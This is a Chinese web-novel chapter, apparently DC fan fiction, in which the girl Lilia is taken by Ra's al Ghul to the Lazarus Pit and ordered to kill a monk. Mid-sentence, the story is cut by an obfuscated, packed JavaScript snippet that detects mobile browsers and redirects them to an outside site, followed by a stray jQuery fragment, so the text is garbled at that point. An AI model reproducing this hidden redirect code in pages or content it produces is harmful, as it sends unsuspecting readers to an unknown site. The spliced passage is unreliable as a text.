在那么一瞬间，其实莉莉娅有妄想过，男人用他的手抱着她的腰，像抱小孩一样把她抱起来，让她能够依偎进他的臂弯与怀抱中的。


    当然事实证明并没有。


    不仅没有抱抱、爱意，莉莉娅还要被迫迈着小短腿跟着拉尔斯。


    大概是之前莉莉娅逃跑了的缘故，窗户的玻璃大多是碎的，刺客联盟本部的门也大多是开的。


    她几乎能想到拉尔斯看着这群试图捉拿她，却搞得更加糟糕的警卫与研究员们说：“废物”的场景了。


    要是抱着自己的是塔利亚就好了。


    莉莉娅这么想，不由得想入非非，浮想联翩。


    至于拉尔斯说的每一句话，她都想按skip。


    拉尔斯口中的话语莫过于自己的目标与刺客联盟建立的目的。他坦言自己建立刺客联盟是为了更伟大的目标，而人类已然成为地球的癌症。


    “人类的劣性根植于最深处，就连心脏也盘踞着恶毒的藤蔓。战争、屠杀、抢夺。对自然毫无敬畏的利用、砍伐、榨干其最后的价值。”拉尔斯就像一个真正的邪教头子一样讲得头头是道，“慈善家认为自己每年捐了数百万的美元植栽树木，可雨林正在以每年12亩的速度消失，他的援助根本是杯水车薪。”*


    莉莉娅全程只是安静地听着，主要是她不会说话，自己也反驳不了……


    但莉莉娅只觉得拉尔斯是在给自己洗脑。


    完全不是为了地球或者利他，这个人满脑子想的只有自己。


    人类根本不是地球之癌，恰恰相反，人类只是居住在地球外的一层生物圈上，无缘触及熔岩般的地核。


    人类顶多也只是地球的跳蚤……或是其他什么的。


    拉尔斯肯定也很清楚自己在利用舆论标榜己身是何等高尚。


    莉莉娅凝视着拉尔斯的背影，披风随着男人的步伐而轻微摇曳，她仿佛能听到拉尔斯身上的标签发出叮咚一声。


    原本长长的、一大串写着恶魔之首介绍的文字产生改变，下面多了一个小框。


    【羁绊1：自刺客联盟建立起至今，他们的目的只有一个——那便是保护恶魔之首：拉尔斯·艾尔·古尔。他麾下的死士忠心耿耿，大多是无家可归、从小就被联盟训练的孤儿。过去，他亦拥有高尚的一面与灵魂。】


    【注意：他说的话从来不是虚假的，毕竟九真一假，才能让人更加信服，不是么？】


    莉莉娅：……


    他说的话有很大一部分发自真心？那很环保了。


    “我将亲自为你施洗。”


    男人说，“通过仪式，你将获得自由进入南达帕尔巴特，以及留在我身边的权利。”


    “莉莉娅。”


    莉莉娅这才被这句话叫回了神。


    她一时之间不知道作何反应，因为她不会说话。她或许会说，但不知道自己说的语言能否被理解。


    少女感到头皮发麻。


    拉尔斯停下脚步，莉莉娅本能地也停下。


    她只看见一名身着白大褂的青年被盖上白布，白色的布料上沾满鲜血，干涸凝固的血如同大面积的泼墨，伤势遍布身体各处，看样子被捅了不止数十刀。


    ……


    两名刺客抬着尸体匆匆走过，尸体的手软绵绵地垂下，莉莉娅看见他的左手带着一只手表。


    研究员A的手表。


    他们该不会是把他当成练习用的木桩了吧……？


    莉莉娅顿时毛骨悚然。


    她全身发冷，蓝白病号服的背后本就被浓稠粘腻的鲜血所覆盖，此刻薄薄蒙上一层冷汗，干涸的血吸收了汗渍，从她的后背湿答答的滴落。


    眼前的是能决定生死的人。


    拉尔斯的一句话就足以让她坠入地狱，或是升往奢靡的天堂。


    快回答、莉莉娅，快回答……！


    少女似是意识到了什么。她的头颅温驯地低垂，如同之前做过的无数次顺从一样，“……是。”


    “主君。”


    她的话语含糊不清，每个字都像是在舌尖上辗转悱恻才说出来的。


    【My lord。】


    莉莉娅不知道拉尔斯满不满意，只感觉压在身上那种近乎令人作呕的强烈气场消失了。


    很显然拉尔斯是个高智商的犯罪分子，他精通多国语言，听得懂莉莉娅的话。


    啊哈哈哈感觉人生更绝望了是怎么回事。


    *


    不管再怎么绝望，莉莉娅还是开启了施洗的仪式。


    先是有一群嬷嬷抓住她的四肢，脱下她的衣服，从手指到脚趾缝都清理得干干净净，就连没有被打理过的粉色长发也被洗得蓬松柔软，泛着丝绸般的光泽。


    嬷嬷们依旧是一边说着听不懂的话一遍搓着莉莉娅，莉莉娅的皮肤都被搓红了。


    她们看向莉莉娅的目光隐约有爱怜，但也有畏惧。


    她们在恐惧这个满身是血的怪物。


    但莉莉娅感觉不到，她甚至还有空去看她们身上的标签。


    【洗礼嬷嬷A、洗礼嬷嬷B、洗礼嬷嬷D。】


    怎么少了一个C？


    【洗礼嬷嬷A：拥有虔诚信仰的嬷嬷，在十数年前曾经经历过一次噩梦般的洗礼。于是她知道了寡言少语，避免丢失自己的性命。】


    【虔诚之心：蒙上灰尘的虔诚之心。在杀人鬼面前生命毫无价值，她总是战战兢兢，而失去对主的尊敬。】


    莉莉娅倒是没什么，也不觉得嬷嬷对主失了尊敬是一件不好的事情。


    毕竟保护不了自己信徒的神明也没什么用。


    务实主义的莉莉娅被带到了最初的地方，她诞生的山洞之中。


    她出生时没敢仔细看的泉水正在咕嘟咕嘟往外冒着绿色的气泡，仿佛有气体在池水下翻滚。


    【拉撒路之池：用各种剧毒物品混合而成的池水，重伤者进入池水可全痊愈，非重伤者入池可能被融化。能修复损伤，带来疯狂。其治愈的真实成分名为“酒神因子”。


    【注意：不建议在身体完好无损时浸泡。】


    拉尔斯背手在等她。


    领导者自有沉淀的傲慢气场，尽管他两鬓霜白，眼下青乌，却站得挺拔如松；男人不紧不慢的轻轻敲着指节，仿佛在期待某种有趣的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340716|183429||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事情发生。


    气泡翻滚的拉撒路之池更像是一池子的毒液了。


    拉尔斯猛然剧烈的咳嗽起来，以至于他身边那个满身肌肉的壮汉无比担忧，上前搀扶，拉尔斯却挥开了他的手，“时间到了。”


    他如此宣告。


    站在拉尔斯两边的是男性僧侣，站在莉莉娅附近的是女性嬷嬷。


    莉莉娅左看右看，脑海里冒起一个试图逃跑的念头。


    不行……在这里逃跑的话……只会死。


    莉莉娅被交到了拉尔斯手上。


    伴随着一声惊呼，莉莉娅被拉尔斯摁进了水里。


    噗咕、噗咕、噗咕。


    池水发出令人牙酸的、骇人的腐蚀声音，如同硫酸一半，嬷嬷睁大了眼睛，僧侣别过头，似是不愿看这残忍的一幕。


    莉莉娅在水下睁开眼睛，她仿佛能听见水灌入耳朵里的声音。


    她没死，也没被毒药腐蚀。


    惊喜。


    她没有挣扎，而是在水下憋气。


    人们总是畏惧溺亡，因为孩提时期，他们在子宫中时只有脆弱的身体，容易在母亲的羊水中死去。但同时——泉水也是令人无比安心之物。


    没有人能拒绝母亲的怀抱，自然也不会有人拒绝水。


    莉莉娅头昏脑胀。


    拉尔斯安静地注视着莉莉娅。


    没有发出惨叫与悲鸣，拉撒路之池接纳她了么？


    莉莉娅的血脉并非人类，而是存在于某种神话中的谱系。那群没用的研究员到现在都找不到匹配的血源。


    少女就连血液都散发出一种甜腻的香味。


    他把莉莉娅捞起，扔给她一把匕首。


    “去，杀了他。”


    男人轻巧地对她下令。


    *


    莉莉娅的脑子还没有反应过来。


    杀了他？杀了谁？


    她呛咳了几声，看向一旁如雕像般伫立的僧侣。


    她接住了匕首，没让匕首跌进水中。


    那是一把贴身的好匕首，刀柄镶嵌着一颗价值不菲的绿宝石。莉莉娅的脑瓜子嗡的一声炸开。


    怪不得没有嬷嬷C。


    她死了。


    死在十数年前的那一场洗礼中。


    而现在，莉莉娅就要复刻那人的路。


    拉尔斯想要的绝不是听话的傀儡、人偶，他需要一把工具，一柄贴身的利刃。


    莉莉娅能看见僧侣的标签。


    【僧侣A：南达帕尔巴特的僧侣，维护着群岛与群山之间的平衡，他们的虔诚使得此间不在人间、亦不在天堂，地狱访问无门，他人无路可寻。】


    【注意：僧侣拥有洁净的灵魂，同时也是保护南达帕尔巴特的结界施术者，杀死僧侣者永远不得进入南达帕尔巴特一步。】


    那很圣洁了。


    莉莉娅现在面临两种选择，一种是杀掉僧侣，但也会被视为玷污了神圣山巅之人被逐出山脉，考虑到拉尔斯的作风，她不可能撑到离开刺客联盟本部。


    一种是不杀，但是拉尔斯会杀了她的。


    这算什么，送命题嘛？